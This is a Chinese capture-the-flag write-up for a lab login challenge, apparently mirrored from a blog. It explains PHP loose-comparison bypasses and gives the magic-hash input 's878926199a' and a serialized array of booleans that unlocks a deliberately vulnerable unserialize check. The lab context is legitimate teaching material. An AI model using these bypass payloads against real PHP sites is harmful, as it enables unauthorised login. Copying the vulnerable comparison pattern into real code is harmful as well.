zoukankan      html  css  js  c++  java
  • 实验吧 天网管理系统

    0x01 ==

    这道题确实可以学习很多新的知识.点进去以后,点了几下登入系统并没有什么用.

    F12,在注释里面看到了一句话

    <!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

    用户名经过md5加密后与'0'进行比较.又是==号.==号不会检查表达式的类型. 比较的时候会把含有数字的字符串转换成数值类型比较. 如果参数是字符串,会将后面的不是数字的字符串丢弃,返回前面的数字.

    比如'243aaaa'返回243. 而且对于'0e123'会转为科学计数法类型.所以我们只要找到一个字符串MD5加密后以0开头就行. 这里使用 s878926199a

    在用户名处输入,下方显示,继续访问.

    /user.php?fame=hjkleffifer

    0x02 序列化

     进去以后,有一行代码.意思就是将password反序列化后得到一个数组,数组里的user和pass的值和某字符串相等就显示flag.

    $unserialize_str = $_POST['password'];
    $data_unserialize = unserialize($unserialize_str);
    if ($data_unserialize['user'] == '???' && $data_unserialize['pass'] == '???') {
        print_r($flag);
    }
    伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

    但是我们并不知道字符串是什么,下面的话提醒我们使用布尔.bool类型的true和任意字符串 用==比较都相等.所以我们就构造一个序列化后的数组.

    让user和pass的值都为true.

    <?php
    $array = array(); 
    $array['user'] = true; 
    $array['pass']=true; 
    $a = serialize($array); 
    echo $a; 
    ?>

    得到一个序列化后的数组

    a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

    在password处输入得到flag

    ctf{dwduwkhduw5465}

  • 相关阅读:
    Python微信机器人
    Jumpserver开源跳板机系统介绍
    Django---django-rest-framework(drf)-luffycity projects
    Linux-Mysql 遗忘密码如何解决?
    up line
    linux
    vue中computed(计算属性)
    input框在浏览器上显示一个叉,去掉方法
    如何通过命令行来克隆git
    手机抓包fiddler配置及使用教程
  • 原文地址:https://www.cnblogs.com/Triomphe/p/9721317.html
Copyright © 2011-2022 走看看